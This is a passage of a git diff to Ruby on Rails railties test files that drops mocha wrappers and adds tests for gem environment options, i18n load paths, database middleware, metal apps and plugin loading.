+ assert_not_nil DUMMY_GEM_E_VERSION
+ assert_equal '1.0.0', DUMMY_GEM_E_VERSION
+ end
- def test_gem_handle_missing_dependencies
- dummy_gem = Rails::GemDependency.new "dummy-gem-g"
- dummy_gem.add_load_paths
- dummy_gem.load
- assert dummy_gem.loaded?
- assert_equal 2, dummy_gem.dependencies.size
- assert_nothing_raised do
- dummy_gem.dependencies.each do |g|
- g.dependencies
- end
+ def test_gem_handle_missing_dependencies
+ dummy_gem = Rails::GemDependency.new "dummy-gem-g"
+ dummy_gem.add_load_paths
+ dummy_gem.load
+ assert_equal 1, dummy_gem.dependencies.size
+ assert_equal 1, dummy_gem.dependencies.first.dependencies.size
+ assert_nothing_raised do
+ dummy_gem.dependencies.each do |g|
+ g.dependencies
end
end
-
end
+
end
diff --git a/railties/test/generators/rails_scaffold_generator_test.rb b/railties/test/generators/rails_scaffold_generator_test.rb
index 926607f55c..70829a77fd 100644
--- a/railties/test/generators/rails_scaffold_generator_test.rb
+++ b/railties/test/generators/rails_scaffold_generator_test.rb
@@ -19,7 +19,7 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase
assert_generated_controller_for :products do |f|
assert_has_method f, :index do |name, m|
- assert_match /@products = Product\.find\(:all\)/, m, "#{name} should query products table"
+ assert_match /@products = Product\.all/, m, "#{name} should query products table"
end
assert_has_method f, :show, :edit, :update, :destroy do |name, m|
@@ -71,7 +71,7 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase
assert_generated_controller_for :products do |f|
assert_has_method f, :index do |name, m|
- assert_match /@products = Product\.find\(:all\)/, m, "#{name} should query products table"
+ assert_match /@products = Product\.all/, m, "#{name} should query products table"
end
assert_has_method f, :show, :edit, :update, :destroy do |name, m|
@@ -107,17 +107,15 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase
assert_added_route_for :products
end
- uses_mocha("scaffold_force_plural_names") do
- def test_scaffolded_plural_names
- Rails::Generator::Base.logger.expects(:warning)
- g = Rails::Generator::Base.instance('scaffold', %w(ProductLines))
- assert_equal "ProductLines", g.controller_name
- assert_equal "ProductLines", g.controller_class_name
- assert_equal "ProductLine", g.controller_singular_name
- assert_equal "product_lines", g.controller_plural_name
- assert_equal "product_lines", g.controller_file_name
- assert_equal "product_lines", g.controller_table_name
- end
+ def test_scaffolded_plural_names
+ Rails::Generator::Base.logger.expects(:warning)
+ g = Rails::Generator::Base.instance('scaffold', %w(ProductLines))
+ assert_equal "ProductLines", g.controller_name
+ assert_equal "ProductLines", g.controller_class_name
+ assert_equal "ProductLine", g.controller_singular_name
+ assert_equal "product_lines", g.controller_plural_name
+ assert_equal "product_lines", g.controller_file_name
+ assert_equal "product_lines", g.controller_table_name
end
def test_scaffold_plural_model_name_without_force_plural_generates_singular_model
diff --git a/railties/test/generators/rails_template_runner_test.rb b/railties/test/generators/rails_template_runner_test.rb
index fcc020603d..2da6bd59b5 100644
--- a/railties/test/generators/rails_template_runner_test.rb
+++ b/railties/test/generators/rails_template_runner_test.rb
@@ -53,12 +53,12 @@ class RailsTemplateRunnerTest < GeneratorTestCase
end
def test_plugin_with_git_option_should_run_plugin_install
- expects_run_with_command("script/plugin install #{@git_plugin_uri}")
+ expects_run_ruby_script_with_command("script/plugin install #{@git_plugin_uri}")
run_template_method(:plugin, 'restful-authentication', :git => @git_plugin_uri)
end
def test_plugin_with_svn_option_should_run_plugin_install
- expects_run_with_command("script/plugin install #{@svn_plugin_uri}")
+ expects_run_ruby_script_with_command("script/plugin install #{@svn_plugin_uri}")
run_template_method(:plugin, 'restful-authentication', :svn => @svn_plugin_uri)
end
@@ -82,6 +82,22 @@ class RailsTemplateRunnerTest < GeneratorTestCase
assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'")
end
+ def test_gem_with_env_string_should_put_gem_dependency_in_specified_environment
+ run_template_method(:gem, 'rspec', :env => 'test')
+ assert_generated_file_with_data('config/environments/test.rb', "config.gem 'rspec'", 'test')
+ end
+
+ def test_gem_with_env_array_should_put_gem_dependency_in_specified_environments
+ run_template_method(:gem, 'quietbacktrace', :env => %w[ development test ])
+ assert_generated_file_with_data('config/environments/development.rb', "config.gem 'quietbacktrace'")
+ assert_generated_file_with_data('config/environments/test.rb', "config.gem 'quietbacktrace'")
+ end
+
+ def test_gem_with_lib_option_set_to_false_should_put_gem_dependency_in_enviroment_correctly
+ run_template_method(:gem, 'mislav-will-paginate', :lib => false, :source => 'http://gems.github.com')
+ assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => false, :source => 'http://gems.github.com'")
+ end
+
def test_environment_should_include_data_in_environment_initializer_block
load_paths = 'config.load_paths += %w["#{RAILS_ROOT}/app/extras"]'
run_template_method(:environment, load_paths)
@@ -127,7 +143,7 @@ class RailsTemplateRunnerTest < GeneratorTestCase
end
def test_generate_should_run_script_generate_with_argument_and_options
- expects_run_with_command('script/generate model MyModel')
+ expects_run_ruby_script_with_command('script/generate model MyModel')
run_template_method(:generate, 'model', 'MyModel')
end
@@ -162,6 +178,12 @@ class RailsTemplateRunnerTest < GeneratorTestCase
assert_generated_file_with_data 'config/routes.rb', route_command
end
+ def test_run_ruby_script_should_add_ruby_to_command_in_win32_environment
+ ruby_command = RUBY_PLATFORM =~ /win32/ ? 'ruby ' : ''
+ expects_run_with_command("#{ruby_command}script/generate model MyModel")
+ run_template_method(:generate, 'model', 'MyModel')
+ end
+
protected
def run_template_method(method_name, *args, &block)
silence_generator do
@@ -174,6 +196,10 @@ class RailsTemplateRunnerTest < GeneratorTestCase
Rails::TemplateRunner.any_instance.stubs(:run).once.with(command, false)
end
+ def expects_run_ruby_script_with_command(command)
+ Rails::TemplateRunner.any_instance.stubs(:run_ruby_script).once.with(command,false)
+ end
+
def assert_rails_initializer_includes(data, message = nil)
message ||= "Rails::Initializer should include #{data}"
assert_generated_file 'config/environment.rb' do |body|
diff --git a/railties/test/initializer_test.rb b/railties/test/initializer_test.rb
index dad9e55e61..d77a045e56 100644
--- a/railties/test/initializer_test.rb
+++ b/railties/test/initializer_test.rb
@@ -1,6 +1,10 @@
require 'abstract_unit'
require 'initializer'
+require 'action_view'
+require 'action_mailer'
+require 'active_record'
+
# Mocks out the configuration
module Rails
def self.configuration
@@ -26,7 +30,6 @@ class Initializer_load_environment_Test < Test::Unit::TestCase
ensure
$initialize_test_set_from_env = nil
end
-
end
class Initializer_eager_loading_Test < Test::Unit::TestCase
@@ -47,268 +50,335 @@ class Initializer_eager_loading_Test < Test::Unit::TestCase
end
end
-uses_mocha 'Initializer after_initialize' do
- class Initializer_after_initialize_with_blocks_environment_Test < Test::Unit::TestCase
- def setup
- config = ConfigurationMock.new("")
- config.after_initialize do
- $test_after_initialize_block1 = "success"
- end
- config.after_initialize do
- $test_after_initialize_block2 = "congratulations"
- end
- assert_nil $test_after_initialize_block1
- assert_nil $test_after_initialize_block2
-
- Rails::Initializer.any_instance.expects(:gems_dependencies_loaded).returns(true)
- Rails::Initializer.run(:after_initialize, config)
+class Initializer_after_initialize_with_blocks_environment_Test < Test::Unit::TestCase
+ def setup
+ config = ConfigurationMock.new("")
+ config.after_initialize do
+ $test_after_initialize_block1 = "success"
end
-
- def teardown
- $test_after_initialize_block1 = nil
- $test_after_initialize_block2 = nil
+ config.after_initialize do
+ $test_after_initialize_block2 = "congratulations"
end
+ assert_nil $test_after_initialize_block1
+ assert_nil $test_after_initialize_block2
- def test_should_have_called_the_first_after_initialize_block
- assert_equal "success", $test_after_initialize_block1
- end
+ Rails::Initializer.any_instance.expects(:gems_dependencies_loaded).returns(true)
+ Rails::Initializer.run(:after_initialize, config)
+ end
- def test_should_have_called_the_second_after_initialize_block
- assert_equal "congratulations", $test_after_initialize_block2
- end
+ def teardown
+ $test_after_initialize_block1 = nil
+ $test_after_initialize_block2 = nil
end
- class Initializer_after_initialize_with_no_block_environment_Test < Test::Unit::TestCase
- def setup
- config = ConfigurationMock.new("")
- config.after_initialize do
- $test_after_initialize_block1 = "success"
- end
- config.after_initialize # don't pass a block, this is what we're testing!
- config.after_initialize do
- $test_after_initialize_block2 = "congratulations"
- end
- assert_nil $test_after_initialize_block1
+ def test_should_have_called_the_first_after_initialize_block
+ assert_equal "success", $test_after_initialize_block1
+ end
- Rails::Initializer.any_instance.expects(:gems_dependencies_loaded).returns(true)
- Rails::Initializer.run(:after_initialize, config)
- end
+ def test_should_have_called_the_second_after_initialize_block
+ assert_equal "congratulations", $test_after_initialize_block2
+ end
+end
- def teardown
- $test_after_initialize_block1 = nil
- $test_after_initialize_block2 = nil
+class Initializer_after_initialize_with_no_block_environment_Test < Test::Unit::TestCase
+ def setup
+ config = ConfigurationMock.new("")
+ config.after_initialize do
+ $test_after_initialize_block1 = "success"
end
-
- def test_should_have_called_the_first_after_initialize_block
- assert_equal "success", $test_after_initialize_block1, "should still get set"
+ config.after_initialize # don't pass a block, this is what we're testing!
+ config.after_initialize do
+ $test_after_initialize_block2 = "congratulations"
end
+ assert_nil $test_after_initialize_block1
- def test_should_have_called_the_second_after_initialize_block
- assert_equal "congratulations", $test_after_initialize_block2
- end
+ Rails::Initializer.any_instance.expects(:gems_dependencies_loaded).returns(true)
+ Rails::Initializer.run(:after_initialize, config)
+ end
+
+ def teardown
+ $test_after_initialize_block1 = nil
+ $test_after_initialize_block2 = nil
+ end
+
+ def test_should_have_called_the_first_after_initialize_block
+ assert_equal "success", $test_after_initialize_block1, "should still get set"
+ end
+
+ def test_should_have_called_the_second_after_initialize_block
+ assert_equal "congratulations", $test_after_initialize_block2
end
end
-uses_mocha 'framework paths' do
- class ConfigurationFrameworkPathsTests < Test::Unit::TestCase
- def setup
- @config = Rails::Configuration.new
- @config.frameworks.clear
+class ConfigurationFrameworkPathsTests < Test::Unit::TestCase
+ def setup
+ @config = Rails::Configuration.new
+ @config.frameworks.clear
- File.stubs(:directory?).returns(true)
- @config.stubs(:framework_root_path).returns('')
- end
+ File.stubs(:directory?).returns(true)
+ @config.stubs(:framework_root_path).returns('')
+ end
- def test_minimal
- expected = %w(
- /railties
- /railties/lib
- /activesupport/lib
- )
- assert_equal expected, @config.framework_paths
- end
+ def test_minimal
+ expected = %w(
+ /railties
+ /railties/lib
+ /activesupport/lib
+ )
+ assert_equal expected, @config.framework_paths
+ end
- def test_actioncontroller_or_actionview_add_actionpack
- @config.frameworks << :action_controller
- assert_framework_path '/actionpack/lib'
+ def test_actioncontroller_or_actionview_add_actionpack
+ @config.frameworks << :action_controller
+ assert_framework_path '/actionpack/lib'
- @config.frameworks = [:action_view]
- assert_framework_path '/actionpack/lib'
- end
+ @config.frameworks = [:action_view]
+ assert_framework_path '/actionpack/lib'
+ end
- def test_paths_for_ar_ares_and_mailer
- [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework|
- @config.frameworks = [framework]
- assert_framework_path "/#{framework.to_s.gsub('_', '')}/lib"
- end
+ def test_paths_for_ar_ares_and_mailer
+ [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework|
+ @config.frameworks = [framework]
+ assert_framework_path "/#{framework.to_s.gsub('_', '')}/lib"
end
+ end
- def test_unknown_framework_raises_error
- @config.frameworks << :action_foo
- initializer = Rails::Initializer.new @config
- initializer.expects(:require).raises(LoadError)
+ def test_unknown_framework_raises_error
+ @config.frameworks << :action_foo
+ initializer = Rails::Initializer.new @config
+ initializer.expects(:require).raises(LoadError)
- assert_raise RuntimeError do
- initializer.send :require_frameworks
- end
+ assert_raise RuntimeError do
+ initializer.send :require_frameworks
end
+ end
- def test_action_mailer_load_paths_set_only_if_action_mailer_in_use
- @config.frameworks = [:action_controller]
- initializer = Rails::Initializer.new @config
- initializer.send :require_frameworks
+ def test_action_mailer_load_paths_set_only_if_action_mailer_in_use
+ @config.frameworks = [:action_controller]
+ initializer = Rails::Initializer.new @config
+ initializer.send :require_frameworks
- assert_nothing_raised NameError do
- initializer.send :load_view_paths
- end
+ assert_nothing_raised NameError do
+ initializer.send :load_view_paths
end
+ end
- def test_action_controller_load_paths_set_only_if_action_controller_in_use
- @config.frameworks = []
- initializer = Rails::Initializer.new @config
- initializer.send :require_frameworks
+ def test_action_controller_load_paths_set_only_if_action_controller_in_use
+ @config.frameworks = []
+ initializer = Rails::Initializer.new @config
+ initializer.send :require_frameworks
- assert_nothing_raised NameError do
- initializer.send :load_view_paths
- end
+ assert_nothing_raised NameError do
+ initializer.send :load_view_paths
end
-
- protected
- def assert_framework_path(path)
- assert @config.framework_paths.include?(path),
- "<#{path.inspect}> not found among <#{@config.framework_paths.inspect}>"
- end
end
+
+ protected
+ def assert_framework_path(path)
+ assert @config.framework_paths.include?(path),
+ "<#{path.inspect}> not found among <#{@config.framework_paths.inspect}>"
+ end
end
-uses_mocha "Initializer plugin loading tests" do
- require File.dirname(__FILE__) + '/plugin_test_helper'
+require File.dirname(__FILE__) + '/plugin_test_helper'
- class InitializerPluginLoadingTests < Test::Unit::TestCase
- def setup
- @configuration = Rails::Configuration.new
- @configuration.plugin_paths << plugin_fixture_root_path
- @initializer = Rails::Initializer.new(@configuration)
- @valid_plugin_path = plugin_fixture_path('default/stubby')
- @empty_plugin_path = plugin_fixture_path('default/empty')
- end
+class InitializerPluginLoadingTests < Test::Unit::TestCase
+ def setup
+ @configuration = Rails::Configuration.new
+ @configuration.frameworks -= [:action_mailer]
+ @configuration.plugin_paths << plugin_fixture_root_path
+ @initializer = Rails::Initializer.new(@configuration)
+ @valid_plugin_path = plugin_fixture_path('default/stubby')
+ @empty_plugin_path = plugin_fixture_path('default/empty')
+ end
- def test_no_plugins_are_loaded_if_the_configuration_has_an_empty_plugin_list
- only_load_the_following_plugins! []
- @initializer.load_plugins
- assert_equal [], @initializer.loaded_plugins
- end
+ def test_no_plugins_are_loaded_if_the_configuration_has_an_empty_plugin_list
+ only_load_the_following_plugins! []
+ @initializer.load_plugins
+ assert_equal [], @initializer.loaded_plugins
+ end
- def test_only_the_specified_plugins_are_located_in_the_order_listed
- plugin_names = [:plugin_with_no_lib_dir, :acts_as_chunky_bacon]
- only_load_the_following_plugins! plugin_names
- load_plugins!
- assert_plugins plugin_names, @initializer.loaded_plugins
- end
+ def test_only_the_specified_plugins_are_located_in_the_order_listed
+ plugin_names = [:plugin_with_no_lib_dir, :acts_as_chunky_bacon]
+ only_load_the_following_plugins! plugin_names
+ load_plugins!
+ assert_plugins plugin_names, @initializer.loaded_plugins
+ end
- def test_all_plugins_are_loaded_when_registered_plugin_list_is_untouched
- failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
- load_plugins!
- assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @initializer.loaded_plugins, failure_tip
- end
+ def test_all_plugins_are_loaded_when_registered_plugin_list_is_untouched
+ failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
+ load_plugins!
+ assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @initializer.loaded_plugins, failure_tip
+ end
- def test_all_plugins_loaded_when_all_is_used
- plugin_names = [:stubby, :acts_as_chunky_bacon, :all]
- only_load_the_following_plugins! plugin_names
- load_plugins!
- failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
- assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :engine, :gemlike, :plugin_with_no_lib_dir], @initializer.loaded_plugins, failure_tip
- end
+ def test_all_plugins_loaded_when_all_is_used
+ plugin_names = [:stubby, :acts_as_chunky_bacon, :all]
+ only_load_the_following_plugins! plugin_names
+ load_plugins!
+ failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
+ assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :engine, :gemlike, :plugin_with_no_lib_dir], @initializer.loaded_plugins, failure_tip
+ end
- def test_all_plugins_loaded_after_all
- plugin_names = [:stubby, :all, :acts_as_chunky_bacon]
- only_load_the_following_plugins! plugin_names
- load_plugins!
- failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
- assert_plugins [:stubby, :a, :engine, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @initializer.loaded_plugins, failure_tip
- end
+ def test_all_plugins_loaded_after_all
+ plugin_names = [:stubby, :all, :acts_as_chunky_bacon]
+ only_load_the_following_plugins! plugin_names
+ load_plugins!
+ failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
+ assert_plugins [:stubby, :a, :engine, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @initializer.loaded_plugins, failure_tip
+ end
+
+ def test_plugin_names_may_be_strings
+ plugin_names = ['stubby', 'acts_as_chunky_bacon', :a, :plugin_with_no_lib_dir]
+ only_load_the_following_plugins! plugin_names
+ load_plugins!
+ failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
+ assert_plugins plugin_names, @initializer.loaded_plugins, failure_tip
+ end
- def test_plugin_names_may_be_strings
- plugin_names = ['stubby', 'acts_as_chunky_bacon', :a, :plugin_with_no_lib_dir]
- only_load_the_following_plugins! plugin_names
+ def test_registering_a_plugin_name_that_does_not_exist_raises_a_load_error
+ only_load_the_following_plugins! [:stubby, :acts_as_a_non_existant_plugin]
+ assert_raise(LoadError) do
load_plugins!
- failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
- assert_plugins plugin_names, @initializer.loaded_plugins, failure_tip
end
+ end
- def test_registering_a_plugin_name_that_does_not_exist_raises_a_load_error
- only_load_the_following_plugins! [:stubby, :acts_as_a_non_existant_plugin]
- assert_raises(LoadError) do
- load_plugins!
+ def test_load_error_messages_mention_missing_plugins_and_no_others
+ valid_plugin_names = [:stubby, :acts_as_chunky_bacon]
+ invalid_plugin_names = [:non_existant_plugin1, :non_existant_plugin2]
+ only_load_the_following_plugins!( valid_plugin_names + invalid_plugin_names )
+ begin
+ load_plugins!
+ flunk "Expected a LoadError but did not get one"
+ rescue LoadError => e
+ failure_tip = "It's likely someone renamed or deleted plugin fixtures without updating this test"
+ assert_plugins valid_plugin_names, @initializer.loaded_plugins, failure_tip
+ invalid_plugin_names.each do |plugin|
+ assert_match(/#{plugin.to_s}/, e.message, "LoadError message should mention plugin '#{plugin}'")
+ end
+ valid_plugin_names.each do |plugin|
+ assert_no_match(/#{plugin.to_s}/, e.message, "LoadError message should not mention '#{plugin}'")
end
+
end
+ end
- def test_should_ensure_all_loaded_plugins_load_paths_are_added_to_the_load_path
- only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
+ def test_should_ensure_all_loaded_plugins_load_paths_are_added_to_the_load_path
+ only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
- @initializer.add_plugin_load_paths
+ @initializer.add_plugin_load_paths
+
+ assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/stubby'), 'lib'))
+ assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib'))
+ end
- assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/stubby'), 'lib'))
- assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib'))
+ private
+
+ def load_plugins!
+ @initializer.add_plugin_load_paths
+ @initializer.load_plugins
end
+end
+class InitializerSetupI18nTests < Test::Unit::TestCase
+ def test_no_config_locales_dir_present_should_return_empty_load_path
+ File.stubs(:exist?).returns(false)
+ assert_equal [], Rails::Configuration.new.i18n.load_path
+ end
- private
+ def test_config_locales_dir_present_should_be_added_to_load_path
+ File.stubs(:exist?).returns(true)
+ Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
+ assert_equal [ "my/test/locale.yml" ], Rails::Configuration.new.i18n.load_path
+ end
- def load_plugins!
- @initializer.add_plugin_load_paths
- @initializer.load_plugins
- end
+ def test_config_defaults_should_be_added_with_config_settings
+ File.stubs(:exist?).returns(true)
+ Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
+
+ config = Rails::Configuration.new
+ config.i18n.load_path << "my/other/locale.yml"
+
+ assert_equal [ "my/test/locale.yml", "my/other/locale.yml" ], config.i18n.load_path
+ end
+
+ def test_config_defaults_and_settings_should_be_added_to_i18n_defaults
+ File.stubs(:exist?).returns(true)
+ Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
+
+ config = Rails::Configuration.new
+ config.i18n.load_path << "my/other/locale.yml"
+
+ Rails::Initializer.run(:initialize_i18n, config)
+ assert_equal [
+ File.expand_path(File.dirname(__FILE__) + "/../../activesupport/lib/active_support/locale/en.yml"),
+ File.expand_path(File.dirname(__FILE__) + "/../../actionpack/lib/action_view/locale/en.yml"),
+ File.expand_path(File.dirname(__FILE__) + "/../../activerecord/lib/active_record/locale/en.yml"),
+ "my/test/locale.yml",
+ "my/other/locale.yml" ], I18n.load_path.collect { |path| path =~ /^\./ ? File.expand_path(path) : path }
+ end
+
+ def test_setting_another_default_locale
+ config = Rails::Configuration.new
+ config.i18n.default_locale = :de
+ Rails::Initializer.run(:initialize_i18n, config)
+ assert_equal :de, I18n.default_locale
end
end
-uses_mocha 'i18n settings' do
- class InitializerSetupI18nTests < Test::Unit::TestCase
- def test_no_config_locales_dir_present_should_return_empty_load_path
- File.stubs(:exist?).returns(false)
- assert_equal [], Rails::Configuration.new.i18n.load_path
- end
+class InitializerDatabaseMiddlewareTest < Test::Unit::TestCase
+ def setup
+ @config = Rails::Configuration.new
+ @config.frameworks = [:active_record, :action_controller, :action_view]
+ end
- def test_config_locales_dir_present_should_be_added_to_load_path
- File.stubs(:exist?).returns(true)
- Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
- assert_equal [ "my/test/locale.yml" ], Rails::Configuration.new.i18n.load_path
- end
-
- def test_config_defaults_should_be_added_with_config_settings
- File.stubs(:exist?).returns(true)
- Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
+ def test_initialize_database_middleware_doesnt_perform_anything_when_active_record_not_in_frameworks
+ @config.frameworks.clear
+ @config.expects(:middleware).never
+ Rails::Initializer.run(:initialize_database_middleware, @config)
+ end
- config = Rails::Configuration.new
- config.i18n.load_path << "my/other/locale.yml"
+ def test_database_middleware_initializes_when_session_store_is_active_record
+ store = ActionController::Base.session_store
+ ActionController::Base.session_store = ActiveRecord::SessionStore
- assert_equal [ "my/test/locale.yml", "my/other/locale.yml" ], config.i18n.load_path
- end
-
- def test_config_defaults_and_settings_should_be_added_to_i18n_defaults
- File.stubs(:exist?).returns(true)
- Dir.stubs(:[]).returns([ "my/test/locale.yml" ])
-
- config = Rails::Configuration.new
- config.i18n.load_path << "my/other/locale.yml"
-
- # To bring in AV's i18n load path.
- require 'action_view'
-
- Rails::Initializer.run(:initialize_i18n, config)
- assert_equal [
- File.expand_path("./test/../../activesupport/lib/active_support/locale/en.yml"),
- File.expand_path("./test/../../actionpack/lib/action_view/locale/en.yml"),
- "my/test/locale.yml",
- "my/other/locale.yml" ], I18n.load_path.collect { |path| path =~ /^\./ ? File.expand_path(path) : path }
- end
+ @config.middleware.expects(:insert_before).with(:"ActiveRecord::SessionStore", ActiveRecord::ConnectionAdapters::ConnectionManagement)
+ @config.middleware.expects(:insert_before).with(:"ActiveRecord::SessionStore", ActiveRecord::QueryCache)
+
+ Rails::Initializer.run(:initialize_database_middleware, @config)
+ ensure
+ ActionController::Base.session_store = store
+ end
+
+ def test_database_middleware_doesnt_initialize_when_session_store_is_not_active_record
+ store = ActionController::Base.session_store
+ ActionController::Base.session_store = ActionDispatch::Session::CookieStore
+
+ # Define the class, so we don't have to actually make it load
+ eval("class ActiveRecord::ConnectionAdapters::ConnectionManagement; end")
+
+ @config.middleware.expects(:use).with(ActiveRecord::ConnectionAdapters::ConnectionManagement)
+ @config.middleware.expects(:use).with(ActiveRecord::QueryCache)
+
+ Rails::Initializer.run(:initialize_database_middleware, @config)
+ ensure
+ ActionController::Base.session_store = store
+ end
+end
+
+class InitializerViewPathsTest < Test::Unit::TestCase
+ def setup
+ @config = Rails::Configuration.new
+ @config.frameworks = [:action_view, :action_controller, :action_mailer]
- def test_setting_another_default_locale
- config = Rails::Configuration.new
- config.i18n.default_locale = :de
- Rails::Initializer.run(:initialize_i18n, config)
- assert_equal :de, I18n.default_locale
- end
+ ActionController::Base.stubs(:view_paths).returns(stub)
+ ActionMailer::Base.stubs(:view_paths).returns(stub)
+ end
+
+ def test_load_view_paths_doesnt_perform_anything_when_action_view_not_in_frameworks
+ @config.frameworks -= [:action_view]
+ ActionController::Base.view_paths.expects(:load!).never
+ ActionMailer::Base.view_paths.expects(:load!).never
+ Rails::Initializer.run(:load_view_paths, @config)
end
end
diff --git a/railties/test/metal_test.rb b/railties/test/metal_test.rb
new file mode 100644
index 0000000000..d3d231132b
--- /dev/null
+++ b/railties/test/metal_test.rb
@@ -0,0 +1,72 @@
+require 'abstract_unit'
+require 'initializer'
+
+class MetalTest < Test::Unit::TestCase
+ def test_metals_should_return_list_of_found_metal_apps
+ use_appdir("singlemetal") do
+ assert_equal(["FooMetal"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metals_should_respect_class_name_conventions
+ use_appdir("pluralmetal") do
+ assert_equal(["LegacyRoutes"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metals_should_return_alphabetical_list_of_found_metal_apps
+ use_appdir("multiplemetals") do
+ assert_equal(["MetalA", "MetalB"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metals_load_order_should_be_overriden_by_requested_metals
+ use_appdir("multiplemetals") do
+ Rails::Rack::Metal.requested_metals = ["MetalB", "MetalA"]
+ assert_equal(["MetalB", "MetalA"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metals_not_listed_should_not_load
+ use_appdir("multiplemetals") do
+ Rails::Rack::Metal.requested_metals = ["MetalB"]
+ assert_equal(["MetalB"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metal_finding_should_work_with_subfolders
+ use_appdir("subfolders") do
+ assert_equal(["Folder::MetalA", "Folder::MetalB"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metal_finding_with_requested_metals_should_work_with_subfolders
+ use_appdir("subfolders") do
+ Rails::Rack::Metal.requested_metals = ["Folder::MetalB"]
+ assert_equal(["Folder::MetalB"], found_metals_as_string_array)
+ end
+ end
+
+ def test_metal_finding_should_work_with_multiple_metal_paths_in_185_and_below
+ use_appdir("singlemetal") do
+ engine_metal_path = "#{File.dirname(__FILE__)}/fixtures/plugins/engines/engine/app/metal"
+ Rails::Rack::Metal.metal_paths << engine_metal_path
+ $LOAD_PATH << engine_metal_path
+ assert_equal(["FooMetal", "EngineMetal"], found_metals_as_string_array)
+ end
+ end
+
+ private
+
+ def use_appdir(root)
+ dir = "#{File.dirname(__FILE__)}/fixtures/metal/#{root}"
+ Rails::Rack::Metal.metal_paths = ["#{dir}/app/metal"]
+ Rails::Rack::Metal.requested_metals = nil
+ $LOAD_PATH << "#{dir}/app/metal"
+ yield
+ end
+
+ def found_metals_as_string_array
+ Rails::Rack::Metal.metals.map { |m| m.to_s }
+ end
+end
diff --git a/railties/test/plugin_loader_test.rb b/railties/test/plugin_loader_test.rb
index 23b81ddbf6..b270748dd6 100644
--- a/railties/test/plugin_loader_test.rb
+++ b/railties/test/plugin_loader_test.rb
@@ -1,7 +1,9 @@
require 'plugin_test_helper'
$:.unshift File.dirname(__FILE__) + "/../../actionpack/lib"
+$:.unshift File.dirname(__FILE__) + "/../../actionmailer/lib"
require 'action_controller'
+require 'action_mailer'
# Mocks out the configuration
module Rails
@@ -118,21 +120,22 @@ class TestPluginLoader < Test::Unit::TestCase
@loader.add_plugin_load_paths
- %w( models controllers helpers ).each do |app_part|
+ %w( models controllers metal helpers ).each do |app_part|
assert ActiveSupport::Dependencies.load_paths.include?(
File.join(plugin_fixture_path('engines/engine'), 'app', app_part)
), "Couldn't find #{app_part} in load path"
end
end
- def test_engine_controllers_should_have_their_view_path_set_when_loaded
+ def test_engine_controllers_and_action_mailers_should_have_their_view_path_set_when_loaded
only_load_the_following_plugins!([ :engine ])
@loader.send :add_engine_view_paths
assert_equal [ File.join(plugin_fixture_path('engines/engine'), 'app', 'views') ], ActionController::Base.view_paths
+ assert_equal [ File.join(plugin_fixture_path('engines/engine'), 'app', 'views') ], ActionMailer::Base.view_paths
end
-
+
def test_should_add_plugin_load_paths_to_Dependencies_load_once_paths
only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon]
@@ -158,4 +161,4 @@ class TestPluginLoader < Test::Unit::TestCase
$LOAD_PATH.clear
ORIGINAL_LOAD_PATH.each { |path| $LOAD_PATH << path }
end
-end \ No newline at end of file
+end
diff --git a/railties/test/plugin_locator_test.rb b/railties/test/plugin_locator_test.rb
index 5a8c651e5a..471d9fc7c3 100644
--- a/railties/test/plugin_locator_test.rb
+++ b/railties/test/plugin_locator_test.rb
@@ -1,69 +1,62 @@
require 'plugin_test_helper'
-uses_mocha "Plugin Locator Tests" do
-
- class PluginLocatorTest < Test::Unit::TestCase
-
- def test_should_require_subclasses_to_implement_the_plugins_method
- assert_raises(RuntimeError) do
- Rails::Plugin::Locator.new(nil).plugins
- end
+class PluginLocatorTest < Test::Unit::TestCase
+ def test_should_require_subclasses_to_implement_the_plugins_method
+ assert_raise(RuntimeError) do
+ Rails::Plugin::Locator.new(nil).plugins
end
+ end
+
+ def test_should_iterator_over_plugins_returned_by_plugins_when_calling_each
+ locator = Rails::Plugin::Locator.new(nil)
+ locator.stubs(:plugins).returns([:a, :b, :c])
+ plugin_consumer = mock
+ plugin_consumer.expects(:consume).with(:a)
+ plugin_consumer.expects(:consume).with(:b)
+ plugin_consumer.expects(:consume).with(:c)
- def test_should_iterator_over_plugins_returned_by_plugins_when_calling_each
- locator = Rails::Plugin::Locator.new(nil)
- locator.stubs(:plugins).returns([:a, :b, :c])
- plugin_consumer = mock
- plugin_consumer.expects(:consume).with(:a)
